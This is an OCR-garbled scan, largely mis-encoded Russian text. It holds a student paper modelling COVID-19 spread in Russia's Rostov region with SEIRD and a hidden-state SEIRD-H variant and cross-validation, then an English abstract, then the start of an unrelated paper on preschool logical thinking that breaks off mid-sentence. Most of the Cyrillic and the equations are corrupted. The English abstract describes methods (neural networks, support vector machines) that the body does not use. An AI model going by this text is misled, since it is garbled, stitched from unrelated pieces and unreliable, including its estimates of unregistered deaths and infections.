pacnpoctpanenuss COVID-19 u obocHoBaHMst 3(h(EKTHBHBIX CTpaTernii BMEIIATEIbCTBA Ul CMSTYEHUS! €ro
BO3JICUCTBUSL.

Knouesvie cnosa: manmunoe 00ydeHHe, CTAaTUCTHKA, IPOTHO3UpOBaHue, koponasupyc (COVID-19), monens SIR.

Beenenue. C 2021 rona Poccus sBisieTcst 0JIHOM U3 cTpaH, HauOoJiee MOCTPaJaBIINX OT
nangemun COVID-19. Ilepsoiii cnyuaii 3a6oseBanuss COVID-19 B Poccun ObuT MOATBEPIKICH
31 suBapst 2020 roga, ¥ ¢ TEX MOP WX YMCIO CTAJIO CTPEMHUTEIHHO pacTu. 1o cocTossHUIO Ha
2021 ron oOmiee yMciao MOATBEPKICHHBIX ciydaeB 3aboseBanus B Poccuu mpewsicwiio 3,3
MUJUIHOHA cay4aeB, cpeau Kotopbix 60 000 Obu1n ¢ JIeTanbHBIM HexomoM [1].

Uzyuenue pacnpoctpanenuss COVID-19 B Poccum mo-mpexHemy sIBIsieTCS KpaiiHe
aKTyaJbHbIM, TIOCKOJIBKY MaHAEMHUS IIPOJI0JKAET OKa3bIBaTh BIIMSHKUE Ha CTpaHy. Pe3yabTarhl
ATUX UCCJICTOBAHUI MOTYT OBITh MCIIOJIb30BaHBI I Pa3pabOTKK cTpaTeruii MH(GOPMUPOBaAHUS
U KOMMYHHKAIIUA B 00JIACTH OOIIECTBEHHOrO 3JPaBOOXPAHCHUS, a TAKKe IS BBISBICHUS
YSI3BUMBIX T'PYIIT HACEJICHUsS, KOTOPBIE MOTYT IOJBEPIaThCs MOBBIIMIEHHOMY PUCKY TSKEIBIX
3aboseBannii wim cmept or COVID-19, a Takke MOTYT OBITh PUMEHEHBI K JPYTUM CTpaHaM
C aHAJIOTUYHBIMH XapaKTEPUCTHKAMHU, TAKUMH KakK OO0JIbIIIast YMCIICHHOCTh HACEIICHHUSI, BBICOKAS
JIOJISI TIOXKHUJIBIX JIFOZICH M OTPpaHWYCHHBIN JOCTYI K 3/IpaBOOXPaHCHHUIO.

B menom, wusydenue pacrpocrpanenus COVID-19 B Poccum ocraercs BechMma
AKTyaJIbHBIM U BRXHBIM JIJISl 3AIUTHI 3[I0POBbS U OJAromoiy4rsi HACEICHUS U KOHTPOJIS HaJl
MaHIEMHUSIMH.

O0630p autepatypsbl. VccienoBaHnuio pacnpoOCTpaHEHUS KOPOHABUPYCHON WH(OEKIUU
MOCBAIIEHEI MHOTHE paboTel. Hampumep, B cTathe [2] MCITONBE30BaHbI METOIBI OIMMMCATEIBHOM
CTATUCTUKH, METOJIbI BU3YaIU3allMK JAHHBIX, TPOBEJICH CTATUCTHYCCKUI aHAIN3 TUHAMHUKHU U
CTPYKTYPHBI 3aHATOCTH C TOUYKH 3PEHHS Pa3IMUHBIX aClIeKTOB. B CBOEM HCCiIeI0BaHUH aBTOPHI
cTaTh¥ [3] mpoBeaH CPAaBHUTEIBHYIO XapaKTEPUCTHKY Pa3IMUHBIX METOJOB MCCJICIOBAHUSA U
MIPOTHO3UPOBAHUS pacIpocTpaHeHus 3a00jieBaHni MH(PEKIMOHHOTO XapakTepa. Hampumep,
TakuX Kak komnaprmeHTHbIe Mozienu (SIR, SIER u ap.), meToas! MammmaHOr0 00y4eHus, ['C-
MOJIEINPOBAHUE, ar€HT-OPUECHTUPOBAHHOE MOCIIMPOBAHHE.

HecmoTpss Ha OOJIBIIIOE KOJMYECTBO HMCCIICIOBAHMM, CICIAHHBIX B JIAHHOW 00JacTH,
OOJIBIIIMHCTBO CTATEH, MMOCBAIICHHBIX MIPOTHO3WPOBAHUIO PACTIPOCTPAHECHUST KOPOHABHPYCHOM
WH(DEKINU, OTYCKAIOT Ba)KHBIC JAETANN, TAKHE KaK:

* [OYeMYy BBIOpaHa KOHKPETHAS MOJIEIIb,

* KaK MMEHHO ONTUMHU3UPOBAIUCH MapaMeETPHI;

* KaK IMPOTECTUPOBATH MOJICIb,

* KaK 9Ta MOJIEJIb CPAaBHUBAETCS ¢ 0a30BBIMU;
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* 0000I111aeTCs JTM MOJICITh HA HECKOJIBKO SIHICMUYECKUX BOJIH, HA Pa3IUNYHbIC PETHOHBI.

Takum 00pa3oM, LENBIO0 HAIETO MCCICAOBAHUS CTAI0 M3YYEHHE BO3MOKHBIX METOJIOB
[POTHO3UPOBAHMUS, TNPUMEHIEMBIX TPH aHAIW3e PACIPOCTPAHEHHUs] HHQOEKIMHA, BBIOOD
Hanbojiee TMOAXOSIIIET0 METO/A; IMOCTPOCHHUE MOJEIA M IMPOBEPKAa €€ Ha HMCTOPUYECKUX
JIAHHBIX TOCPEACTBOM KPOCC-BaJIU/IAIIHH.

JInst MccienoBaHmsl MCIOJIb30BAIMCh UCTOPHUYCCKHE JaHHBIC IMHAMHMKH ITOKa3aresei
pactipoctpanenus wuHpekuu COVID-19 mno PocroBckoMy pernony, kak HauOosee
conuanbHo-aeMorpaduuecku noxoxkemy JIHP. ITockonbky 3a4acTyro JaHHBIC BBOASTCS C
HEKOTOPBIM 3aI1a3/IbIBaHIEM, TI0ATOMY BO3HHKAET HEOOXOAMMOCTH B JOOABICHUH CTITaXKEHHBIX
BEPCHI CKOJIB3SAIIETO CPEHETrO TS BCEX CTOJOIOB IS TAbHEHUIIIETO X MCIIOIb30BaHHUS.

B pesynaprate HabOp MaHHBIX OyIET COAEp)KaTh TaKWE CTOJIOIBI M HMX CIIIaKEHHBIE
BEPCHUH, KaK:

* infected_per_day - HOBbIe IOATBEPKICHHBIC CyYan B JaHHBIN JCHD;

* recovered_per_day - HOBbIE BBI3JIOPOBEBIIIKE MAIMCHTHI B TAHHBIH JICHb;

» deaths_per_day - xonruecTtBo cMepTei (0T MH(EKIUH) B TaHHBII JICHb,

» total_infected - oOmiee uKcIO MOATBEPKACHHBIX CIy4acB, KyMYJSTUBHBIA HTOT
infected_per_day;

» total_dead - oGriee konuyecTBO cMepTei, KyMynaTHBHBIN utor deaths_per_day;

» total_recovered - oOmiee 4MCIIO BBI3JOPOBEBUIMX ITAIMCHTOB, HAPACTAMOLIMA HTOT
BBI3IOPOBEBINNX 3a JICHb.

Total infected
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Puc. 1 ﬂuHaMuKa KoJuyecmed 3apadsiCeHHblx KOporasupycom

BbaszoBas mopenas: SEIR. Ha mnepBom »stane Obita paccMoTpeHa 0a3zoBast
snmaemMuoiorndeckas mojsenb, SIR. SIR - aTo mpocras Mmozens, KOTopast UIMUTHPYET pa3BUTHE
snuaeMun Bo BpemeHU. OHa [eIUT HaceleHWE Ha TPH TPYIIbI: BOCHPUUMYHUBHIE,
UHQUIUPOBAHHbIC, BBI3IOPOBEBINUE [4].

Unes SIR 3akmiouyaercst B CIEAYIONMIEM: UMEETCS 3aMKHYTasl MOMYJSIIUSA U HadyalbHOE
KOJIMYECTBO MH(PUIIMPOBAHHBIX JIOJIH. B TeueHne KaxxIoro AHS KaxAbld WHOHUIIMPOBAHHBIN
YeNOBEK ¢ HEKOTOPOH BEPOSITHOCTHIO 3apaykaeT KOTO-TO U3 TPYIIBI BOCIPUUMYHUBLIX. KTO-TO
13 3apKEHHOW TPYIMIBI BBI3IOPABIMBAET, KOTJA TIepro] 00Ie3HN POXOIUT, U MEPEXOIUT B
TPYIIY BBI3AOPOBEBIINUX. ANTOPUTM paboOTaeT Tak B TEYCHHE MHOTUX JTHEH.

Opnako SIR He MoAeTMpPYeT HHKYOAITMOHHBIN TIEPUOJT U CMEPTHOCTH, YTO 03HAYAET, YTO
MPUMEHUTh JTy MOJeldh K HKCCIEIOBaHUI0O KOpOHaBHpyca Henb3s. [loaToMy, nanee
paccMmarpuBaetcs pacimperHas Mojaens SEIRD, koTopast yauThIBaeT JOMOJTHATEIBHBIC STAITBI
nporekanus 3aboneBanus. SEIRD paboraer Tak xe, kak u SIR, ogqHako oHa BKIIIOUaeT eme
TaKWe JIBE TPYIIIbI, KaK:

» Exposed - unduimpoBanHbie, MPOXoAIINE Yepe3 UHKYOAITMOHHBINA Tiepuo. OHU He
pacnpoCTpaHsOT BUPYC.

* Died - neranibHbIe UCXOJIBI OT BUPYCA.
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HecMoTpst Ha mpocToTy BBIOpaHHOW B KauecTBe 0a3oBoil moxenu - moaenu SEIRD,
CYIIECTBYET PsiJi IPUYHH, [0 KOTOPBIM CJIEAYET €€ UCIO0Ib30BaTh. BO-MIEpBhIX, 3TO HE MOJIENb
"gepHoro smuka", To ectb napamerpbl SEIRD - 310 mpocTo xapakTepucTrky 3a00eBaHuUs.
MBI MOXEM OLIEHWTh KX Ha OCHOBe MeaunuHckux wucciaenoBanmii COVID-19, kax
3a0oneBanus. Bo-BTOpBIX, MOJIENb JIETKO MOIUDULIUPYETCS, T.€., B MOZENb MOXHO BKJIIOUUTH
KapaHTUHHBIE MEpHl, HEMOJIHYI0 CTAaTHUCTUKY M BTOpoil mTamMm. CTOMT OTMETHTb, 4TO,
HEeCMOTpsI Ha HeKoTopble HepocTtaTk SEIRD, Ha cerogusmHuii 1eHb OHA SABJSETCS JTydIlel
Mojenbio mporunosupoBanus COVID-19.

B SEIRD mnacenenue penurtcs Ha MATh TPYII: BOCIPHUMYHBBIC, IOJABEP)KEHHBIC,
MH(UIUPOBAaHHbIC, BBI3JOPOBEBIINE U JIETAlbHbIE clydyau. BocnpuuM4uBbIe MOTYT OBITh
UHOHUIMPOBAHBL, TOJABEP)KCHHBIE HMHIUBUIBI ObUIM HMH(QUIMPOBAHBI, HO eHle He
paclpoCTpaHsIOT MaToreH; WHGUIUPOBAHHBIE WHIUBUABI PACIPOCTPAHSIIOT BO30YIUTENS;
BBI3/IOPOBEBIINE WHIUBHIBI UMEIOT MOCTOSIHHBI UMMYHHTET. Pa3Mepsl OTCEKOB B MOMEHT
Bpemenu t obGosnauarorcs S(t),E(t),1(t),R(t),D(t). IlpuBenennas Hmwxke cucrema (1)
ONMCHIBAET MPOTEKaHUE OOJIE3HU MPU HAYAIbHBIX YCIOBUSX Sy, Ey, [y, Ry, Dy 1 orpaHruueHun
N = S(t) + E(t) +1(t) + R(t) + D(t). Ilapamerpamu MOAEIH ABISAIOTCS: & - KOOPPHULHUEHT
CMEpPTHOCTH OT HMH(MEKUWH, [§ - KOJIUYECTBO CIIy4aeB, T'€HEPHPYEMBIX HHOUIMPOBAHHOM
ocoObr0  3a omuH JeHb, 0 = 1/dincubations TH€  Aincubation- TPOMODKUTEIBLHOCTh
MHKyOannonHoro nepuona, ¥ = 1/dinfections TH€ dinfection - BPEMA B JIHAX J0
BBI3JIOPOBIICHUS WJIH CMEPTH.

ds _ _ Bs@I®)

dt N '’

dE _ BS(OI)
w= ~ SE®,
dl

12 = 6E() —y(1 - I(t) — yal (t), (1)
F=ra -,
dD

L e yal(t).

bazoBoe umnciio BOCIpOn3BOACTBA Ry SIBISETCS ONPENEISIONIAM MTPH3HAKOM MaHAEMUH.
OHO paBHO 0KUIAEMOMY YHCITY JIIOJIeH, 3apa’keHHBIX OJTHUM HH(PEKIMOHHBIM HHIUBUAYYMOM
B TeUCHHE OOJIE3HH, U MOXKET OBITH paccunTaHo no popmyine Ry = /y

Peanu3zanms knacenuyeckoro SEIR. Jns peanuzaunuu meronst SEIRD ncnons3oBanuch
NpOrpaMMHBIEC CPEACTBA sA3bIKa MporpaMmupoBanusi Python u OMOIHOTEKH Ui MATMHHOTO
oOyuenus. s mpeaBapUTEIbHOrO OMNpeAETeHUs IUana30HOB MapaMeTpoB ObUI NMPOBEICH
MeTa-aHau3 Xxapaktepuctuk COVID-19, crocoOcTByromuid JalbHEUIICH ONTUMH3AIUN
MO/IEJIH.

Huxe npusenen rpaguk (Puc.2), Ha KoTOpoM 0TOOpakeHbI pe3yNbTaThl MpeICcKa3aHus
KOJINYECTBA JIETATbHBIX UCXOJ0B OT KOPOHABUPYCHON MH(EKIUH, TTOTy4YeHHBIE TOCPEICTBOM
MOJICITMPOBAHMS B CPABHEHUH C PEaTbHBIMH JTaHHBIMH.
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Puc.2 Konuuecmeso nemanbhvix ucxo006 (npedckasanuble MoOenbio U UCmopuiecKue OaHHble)
Kak M0xHO 3aMeTUTh, MOJIENIb MPEACKA3bIBAECT, UTO BCE YMEPJIM WU BBI3IOPOBENH, U

SMUIEMUS YK€ 3aKOHUYMIAch. Pe3ylbTaT HEYAOBIETBOPUTEIbHBIN, HO HE HEOKUIAHHBIN, TaK

KaK MapamMeTpbl MOJETH €Ile HEe ObUIM ONTHUMH3UPOBAHBI, U MOJEINb CIUIIKOM MPOCTa s

COVID-19.
YTto0OBI MMPOBEPUTH IIOCICAHCEC YTBCPKIACHUC, ITOCMOTPHUM Ha AWHAMUKY BCEX TPYHII

SEIRD (Puc.3).

T T
Y o & 1 & 2 O A § o
o oF OF o O o Al N N o
B L N I = L (Lt~ T ™ ™

Puc.3 Peszynomamul, nonyuennvie mooenwvto SEIRD

MO,I[GJ'IL OIMUCBIBACT TOJIBKO OJAHY BOJIHY I/IH(beKI_II/II/I, IOCJIC KOTOpOfI IIOYTH BCC
BbI3AOPABJIMBAIOT, JOCTUTACTCA prHHOBOfI HMMYHUTET, U SIUACMUA 3aKaHYUBACTCH. I[a)Ke

€CIIM Mbl BbIOEpEM HaWJIydIllMe MapaMmeTpbl, 3Ta MOJIeNIb He MpeaHa3HaueHa JUis ONUCaHMA
HECKOJIbKUX BOJIH MHGeKkuuu. TpedyeTcss U3MEHUTh CUCTEMY ypaBHEHUH, YTOOBI MOTYyYUTh

JTy4IIUil pe3yabTar.
JobGaBieHne kKapaHTHHHBIX Mep. OTHOM U3 IPUYKMH MOSBIEHNUS HOBBIX BOJIH SIBIISIOTCS

KapaHTUHHBIE Mepbl. [IpeanonoxumM, 9To Mepsl B JieHb t CHIDKAIOT R, Oone3nu Ha q(t)
nporeHToB. [103ToMy MOXHO paccuuTaTh PEMpPOTYKTUBHOE YUCIO NMPH HEKOTOPOM IdexTe
KapaHTUHHBIX Mep: Ry = Ry — Ryq(t) mist kaxmoro aus. M3 Hero MoxHO BeIYMCINUTE [ ()=

R;y ¥ UCTIONB30BaTh €r0 B YPaBHECHUH.
[Tocne Toro, kak B Moiesib OBLITH OOABIICHBI KAPAHTHHHBIE MEPHI, peIIaeTcs mpobdiaemMa

HEMOJHBIX CTATUCTUYECKUX TaHHBIX.
N3BecTHO, 4TO HE BCE CiTydau 3apakKeHUs] pETUCTPUPYIOTCS B ODUIIMATIBHON CTATUCTHUKE.

MHorue Jrou He TOCIUTATU3UPYIOTCS, a IPYrue MepeHocsaT 001e3Hb 0€3 CUMIITOMOB. DTO
JIOJDKHO OBITh YYTEHO B MOJICIH, TIOCKOJIBKY B Kiaccuaeckoi mojenu SEIRD we oxwumaercs

HETOJIHOTHl Habopa JaHHBIX.
J1J1 3TOTO IpyMNIibl B MOJENH ObUTH pa3JieleHbl Ha TaKKUe, KOTOpble ObUTH 3aMKCUPOBAaHbI

B CTAaTUCTHUYECKUX JAHHBIX, U TAKUE, YTO HEBUUMBI [T HAC:
* [v(t) - pacnpocTpaHeHHe BUpYca, 3aQUKCUPOBAHHOE B CTATUCTHKE.

* I(t) - pacpocTpaHSIONIUE BUPYC, HE 3aPETUCTPHUPOBAHHBIC B CTATUCTHKE.
* Rv(t) - BBI3IOPOBEBIINE OT BUPYCA, 3aPETUCTPUPOBAHHEIC B CTATUCTHKE.
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* R(t) - BBI3IOPOBET OT BHPYCA, HE YUUTHIBACTCS B CTATUCTHKE.

* Dv(t) — neTaibHBIA UCXOJ, YYTCH B CTATHCTHUKE.

* D(t) — neranbHbIA UCXOM, B CTATUCTUKE HE YUUTHIBACTCSI.

OcranbHble rpynnsl, S u E, ocrarores 6e3 n3menenuil. Takke ObLTH BBEJCHBI IBA HOBBIX
napaMmerpa:

* p; - BEPOATHOCTb TOT0, YTO WH(MUUIMPOBAHHBIN Cly4ail OyJIeT 3aperucTpupoBaH B
CTaTHCTHUKE.

* D4 - BEPOATHOCTH TOTO, YTO CMEPTH OYET 3aperucTpUpoBaHa B CTATUCTHKE, JaXKe €CIIH
WH(OUIIMPOBAHHBIN clTydail He ObLT 3apETUCTPUPOBAH.

Mogaenb nonydwita HazBanue SEIRD-H: SEIRD co ckpbITbiMEH COCTOSTHUSMH.

[Tocre yuera HOBBIX (aKTOPOB B MOJETH ObUIM HaWICHBI ONTHUMAJbHBIC 3HAYCHUS
IapaMeTpoB ¢ LEJbI0 COOTBETCTBUS TeHepupyeMbix Mmogensto [v(t), Rv(t) u Dv(t)
peanbHbIM naHHBIM. [locie storo, Obuto mpousBeneHo oOydenue monenu SEIRD-H na
CTJIQ)KCHHOM PsJIE.

Total deaths

—— ground truth
2000 —-- predicted invisible
—— predicted visible

1500

1000

500

O_
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Puc. 5 Ilpeockazanue noxazamens cmepmuocmu mooensto SEIRD-H

[Tomyuennsie pe3ynbTaTthl (Prc.6) MoOka3bpIBalOT, YTO COTJACHO HAIeH ONTHUMH3AIUU
MOYTH TIOJIOBUHA CMEPTEH HE PEruCTpUpyercss B cTaTucThke. UTO Kacaercs ClydaeB
3apa)KE€HUsl, TO PETUCTPUPYETCS JUIIb OKOJIO MATOU YACTH CIIy4aeB.

PesynpTaT, MONYYEHHBI TOCPEICTBOM MOJICIH, SIBISETCS YAOBICTBOPUTEIHHBIM.
Mogenb AOMyCKaeT HEKOTOPYIO MOTPEHIHOCTb, HO XOPOIIO IPEACKA3bIBA€T OCHOBHYIO
TEHJICHIINIO.

Jlyist mpoBepKH CIOCOOHOCTH MOJIENIA CTPOUTH IPOTHO3 OBLIT MCIIOIBE30BAaH METO]T KpOCC-
BaNMaanuu ¢ yuetoM Bpemenu [5]. IIporece mpoBepku KOTOPOH MpermoiaraeT TakK|e dTarlbl
KaK: BIOOp HECKOIBKUX JIaT U3 OOYYaIOIIMX JAHHBIX, HApumep, Kaxapii 20-i 1eHs u ans
KaKJIOM NaThl; TIOCTPOCHUE MOJIETH TI0 BCEM JaHHBIM JIO BBIOpDAHHOW JaThl; MOCTPOEHUE
nporuo3a cMeptHocTH Ha 30 qHEH Bmepen; pacdeT OMIMOKHU MPOTHO3a, BEIYUCICHHUE CpelHen
OmMOKH MOJENM W CpaBHEHHE C 0a30BOM MOJIEIBI0 TOCTOSHCTBA, KOTOpash IPOCTO
MpeICKa3bIBaeT MOCIEAHUN IeHb O0yUYCHHUSI.
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Puc.6 IIpumepol kpocc-eanudayuu ¢ yuemom pemenu

BbuH 1TOJTydeHBI CIIeAYIONUE Pe3yIbTaThl KPOCC-BAIAIAINH:

 0a3oBas cpeaHss abcooTHas omuoka: 714,

* cpennsis abconroTHas ommbOka moaenu: 550.

* cumMeTpudHas mojaenb CpenHsst abconroTHas ommbKa B mporeHTax: 4.6%

* omnbOKa cocrasiser okojio 5%.

3akiouenne. B pesynbTare mpoBelNcHHMsS HUCCIEAOBaHHs ObUIa pealn30BaHa
kimaccuueckas wmojenb SEIR wm ee pacmmpenHHas Bepcus, cojiepikalias B KauecTBE
JIOTIOJTHATEIBHBIX TIApaMETPOB MEpPhl KapaHTHHA M CKPBITBIC TPYIIBI JJs 00paboTKu
HETIOJIHBIX JaHHBIX. Pe3ysibTarhl, MOJYYCHHBIC 10 TapamMeTpaM MOJICIH, MOKa3bIBAIOT, YTO
MIOYTH ITOJIOBUHA CMEPTEH HE PETUCTPHUPYETCS B O(DUIINATBHON CTATUCTHKE, & PETUCTPUPYETCS
TOJIKO OKOJIO OJHOHW MATOW ciydaeB 3apaxkeHus. Mojenb TpeicKa3biBacT €KETHCBHBIC
MOKAa3aTeI CMEPTHOCTH, BBI3JIOPOBJIICHUS W 3apaKEHUs, a €€ TOYHOCTh MPOBEPSICTCS C
MOMOIIIBI0 TIEPEKPECTHONW BamuAaluu. Pe3ynbTaThl MEepeKpecTHON BalMJAIlMHU MOKa3bIBAIOT,
YTO CpeIHsAs aOCOMI0THASI OMMOKa MOJIENIU COCTaBisAeT 5% 1Mo CpaBHEHUIO ¢ 0a30BOM MOJIEIBIO.
HccnenoBanue moauepKUBaeT BaXHOCTh ydeTa KapaHTUHHBIX MEP M CKPBITBIX TPYII MPH
MOJICTTUPOBAHUU  pPaCIpOCTpaHEHHUs 3a00JeBaHWS W yKa3plBaeT HA  BO3MOXHOCTh
MCIOJIb30BaHUS MOJICIH JUIsl IPYTHX PETHUOHOB U 3a00JIEBaHUM.
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USING MACHINE LEARNING METHODS TO STUDY THE SPREAD OF CORONAVIRUS
INFECTION

Annotation. This article explores the use of machine learning methods in the study of the spread of coronavirus
(COVID-19) in Russia. Machine learning techniques, such as time-series models, artificial neural networks, and
support vector machines, have been widely used to predict the future spread of the virus and to analyze its impact
on the population. The article provides an overview of the strengths and limitations of these methods and
summarizes their applications in the study of COVID-19 in Russia. The results of this analysis demonstrate the
potential of machine learning methods to contribute to a better understanding of the spread of COVID-19 and to
inform effective intervention strategies to mitigate its impact.
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YK 373.2

OCOBEHHOCTH PA3BUTHUSA JIOTHYECKOI'O MBIIIIVIEHU A
CTAPHIUX JOIKOJBbHUKOB

Kawmanoea H.C.
Hayunwui pyxosooumens: Yyouna E.IO., kano. neo. nayk, oouenm
TIoy BIIO «/lonHACA»

Annomayus. Ha ocHOBe NPOBEAEHHOIO aHAIN3a HAayYHBIX MCTOYHHUKOB IO BOIIPOCAM Pa3BUTHUS JIOTHYECKOTO
MBIIIICHUS! y CTAPIINX JIOMIKOJIEHUKOB, PACKPHITA Criel(UKa Pa3BUTHSI OCHOB JIOTHUECKOTO MBILIICHUS Y JeTeit
B CTaplleM JOLIKOJIbHOM BO3pacTe. Pa3BuTHEe IOrM4eCKOro MBINUICHUS IOIIKOJIBHHKA 3aBUCUT OT CO3JaHUs
YCIIOBUH, CTUMYJIUPYIOIIUX €r0 NPAaKTUUECKYI0, UTPOBYIO U II03HABATENIbHYIO JCSATCIBHOCTD.

Kniouegvie cnosa — MplllIeHHE, CHOCOOHOCTh K MO3HAHMIO, JIOTHYECKOE MBIIUICHUE, JIOTHKA JOIIKOJIbHUKA,
CTapLIUi JOMIKOJIbHBIA EPUOL,.

CoBpeMeHHBIN MHp TiepeHachilleH HHpopMmaruei. Kaxaplii yenoBek, He3aMeTHO s
caMoro ce0si TOJTy4aeT M 3allOMUHAET OONbIION 00beM WH(pOpPMAIMK, COXPAHss UX B CBOCH
namstu. [lonydeHHble JaHHBIE BO MHOTOM OIPEAETSIOT €ro MOBEACHUE M OMPEICINIOT €ro
noctynku. Tem 0osee BaKHBIM CIIEIYeT CUMTATh Ty MH(DOpPMAIHIO, KOTOPYIO TOJIydaeT U
COXpaHsIeT B CBOeH maMaATu pedbeHok. CucreMaTu3anus JaHHBIX — CI0XKHOE 3aHITHE, KOTOPOe
OKa3bIBACTCSI YaCTO HE MOJ CHIIY Ja)e B3POCIOMY UEIOBEKY, YTO YK TOBOPHUTH O IETSX,
KOTOpBIE aHATTU3UPYIOT HH(POPMAIIUIO [T0-CBOEMY, YaCTO M0 HAUTHIO, UCXOJISl U3 COOCTBEHHOTO,
elre HeboraToro OIbITa.

Mpeiienne peGeHka B TOCIEAHHE TOJbI JOIIKOJIBHOTO BO3pacTa HAaXOIUTCS Ha
KPUTUYECKOW CTaIUU pa3BUTHsA. B 3TOT mepuo coBepiiaercs mepexo oT 00pa3Horo, I€TCKOTo
MBIIUIEHUSI K  JIOTUYECKOMY, KOHIIENTYaJlbHOMY, MPHUCYLIEMY B3pOCIBIM  JIIOJISIM.
q)OpMI/IpOBaHI/Ie JIOTUYCCKOI'O MBINIJICHUA OJOIIKOJIBHUKOB SABIISACTCA Ba)KHOM COCTaBHﬂIOHIGfI
oOpa3zoBarensHOro mporecca. Korga B 3TOM mpoliecce TiaBHAs POJb OTBOJUTCS TOJBKO
IOKOJIBHBIM ~ JTUCOUIIJIMHAM, KOTOPLIC p€6CHOK MMOCTUTACT IMOCPCACTBOM y‘I€6HI/IKOB,
JIOTUYECKOE MBIIUICHHE pa3BUBaeTcs HedPPEKTUBHO, O€3 MOJHOTO YCBOCHHS METO/IOB
JIOTUYCCKOro MbBIIJICHHA, U IIO3TOMY H€O6XOJII/IMI>I CIICIIUAJIbHbIC o6yqa101111/1e IPHUEMEBI I10
Pa3BUTHUIO JIOTMKH. Pa3BUBaTh JOTMYECKOE MBIIUIEHHUE — 3HAYUT, YUYUTHCS CpPAaBHHUBATh
Ha0M0JaeMble  OOBEKTHI, HAXOAWTh B HHUX OOIIME CBOWCTBA M Pa3JIUYUs; BBIJICISITH
CYIIECTBEHHBIE CBOWCTBA W aOCTparupoBaTh MX OT BTOPOCTENEHHBIX, HECYIIECTBEHHBIX;
HaXO0IUTh KOMIIOHCHTHI B O6’I)€KTC, 4TOOBI 3HATh K&)KI[BIfI KOMIIOHEHT U O6’I)CI[I/IH5[TB 9THU 4aCTUu
B €IMHOE IIeJIoe, BOCIPUHUMAs IIENIOCTHBIA OOBEKT; JelaTh MpaBWIbHBIE BBIBOJABI W3
HaOmroeHuN Wi (PaKToOB, MPOBEPSATH ATH BHIBOJBI; YOSIUTEIHHO TOKA3bIBATh UCTHHHOCTH
CBOUX CYXJECHHUH, ONPOBEPras JOKHbIE BEIBOBI.

[Tcuxomor 7K. Ilmaxke BbIAEIsNT B JOIIKOJIBHOM TIEPUOAE CIECAYIONIME CTaauu
WHTEJUICKTYaJIbHOTO ¥ KOTHUTUBHOTO pa3BUTHUsA [4].

1. CencomoTopHyO (OT poXAeHUsS A0 2 JieT). B 3ToM Bo3pacte mMpoUCXOAUT aKTHBHOE
pa3BUTHE CEHCOPHOU U ABUTaTeNbHOMN cpeprl peOeHka. J[eTn HaYMHAIOT Ha HAYaJIbHOM YPOBHE
OCO3HaBaTh B3aMOCBS3b MEXKYy NEUCTBUSAMHU U UX pE3ylbTaTaMH, U3ydasl OKPYKAIOIHUN MUD
MOCPEACTBOM MOTOPHUKM W OpraHoB 4yBcTB. K oOKOHYaHWIO 3TOH cTaauu y peOeHKa
dbopMHupyeTcss CcHUCTeMa CEHCOMOTOPHBIX JIEWCTBHM, MBINIUICHHE B JTOM BO3pPacTe
CKOHIICHTPUPOBAHO Ha MpeIMEeTHOM chepe.

2. Jloonepammonnyto (oT 2 mo 7 ner). B sToM Bo3pacTte MPOMCXOAWT OCBOCHHE
CUMBOIIbHOM, abcTpakTHOW cdepbl MblluleHUs. Pa3BuBaercs oOpa3HOe, JIOTHYECKOe
MBIIIJIEHHE, PEeOCHOK HAuWHAeT OMNepUpoBaTh AOCTPAKTHBIMU MOHATHAMH. DOpMHUPYIOTCS
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JIOTUYECKHE CBSI3U, HO B 3TOM BO3pacTe peOCHOK elle HE OCO3HAeT B IMOJHOW Mepe CBS3b
HEKOTOPBIX SIBJICHUH U IIPOLIECCOB.

Jloruueckoe MbIIIJICHHE — CIIOCOOHOCTh peOEHKA CaMOCTOSITENIbHO BBIMOIHSITH MPOCTHIE
JIOTHYECKUE NeHCTBUS (aHanM3, CHHTE3, CpaBHEHHE, 00O0IIEHUE U T.1.), @ TAKKE COCTABHBIC
JIOTHYECKHe omepanuu (IIOCTPOCHHE OTPULAHUS, YTBEPKACHUS U OINPOBEPKEHHS Kak
MOCTPOCHUS PACCYKICHHUM C UCIIOIB30BAHUEM PA3IMYHBIX JIOTHYECKUX CXEM — UHIYKTUBHBIX
WIK JeNyKTUBHBIX). B Hacrosiee Bpems mpoOiema pa3sBUTHS JIOTUYECKOTO MBIIIJICHUS
JIOIIKOJIBHUKOB JIOCTaTOYHO OCBEIIEHA B IE€IarorMuecKod M METOAUYECKON JuTeparype.
B paspabotke s3TOM mnpobiieMbl NMPUHUMAIM Y4YaCTHE TAaKWE Y4YEHbIe W TPAKTUKH, Kak
JI.C. Beirorckuid, [. b. Dnpkonun u ap. [1, 2, 5, 6, 9].

AHaNM3 METOUYECKOW JUTEpaTyphl, a TaKKe MOSICHUTEJIbHBIX 3alHMCOK K y4eOHOM
nporpamme, TpeOoBanuii PI'OC mo3BonseT cAenaTh BBIBOA O 3HAUYUMOCTH Pa3BUTHS
JIOTUYECKOTO MbIIUIeHus aetedl. OIHAKO MPaKTUYECKMX YKa3aHUM W TOJTBEPKIECHHBIX
MEXaHHM3MOB JICWCTBEHHOT0 BOILIOIICHHUS JAHHOTO HAMPAaBJICHUs pabOThI, 3TH TEOPETUUECKUE
U METOJIMYCCKUE MaTepuaibl B ce0e HE COJEPIKAT MU COJIEPKAT B OIPAaHUYCHHOM OOBEME.
Yacto 3TO NPUBOAUT K TOMY, UTO Pa3BUTHE JIOTUYECKOT0 MBILUICHHS B 3HAUUTEIIbHON CTENIEHU
IPOUCXOIUT CIIOHTAHHO, T03TOMY OOJIBIIMHCTBO JI€TEN JOLIKOIBHOIO BO3pacTa HE OBJIAJICBACT
Ha4yaJIbHbIMH METOJAMU JIOTUYECKOTO MBIIILICHHUS.

BonpmmHCTBO McciaenoBareneil CXOAsITCsl BO MHEHHMH O TOM, YTO IPOIECC Pa3BUTHS
JIOTUYECKOT0 MBIIUICHUS TPOXOAUT 0€3 «BHEIIHEW CTUMYIALHMHU», Jpyrue oOpalarT
BHMMaHHUE Ha IEJICHANPABICHHOCTh MEAAroruuyeckoro Mporecca, YTOo MOMOTaeT Pa3BUTHUIO
JIOTUYECKOro MbIlUieHus. Jlornyeckoe MbIIUIEHHE — 3TO CIOXHBIN Mpoliece, TpeOyromuit
OOJIBIIINX YCUJIUH OT MEIaroroB, MHANBUYATBHOTO MOAX0Aa K KAKIOMY BOCIIUTAHHHKY.

B mnepuon IomIKOJBHOTO BO3pacTa pPa3BUTHE MBIIUICHUS TNPETEPIEBAET CEPbE3HbIE
W3MEHEHUs, B TOM YHCIIE PeYb HJET M O JIOTMUYEeCKOM MbIUIeHnH. PeGeHok crapiiero
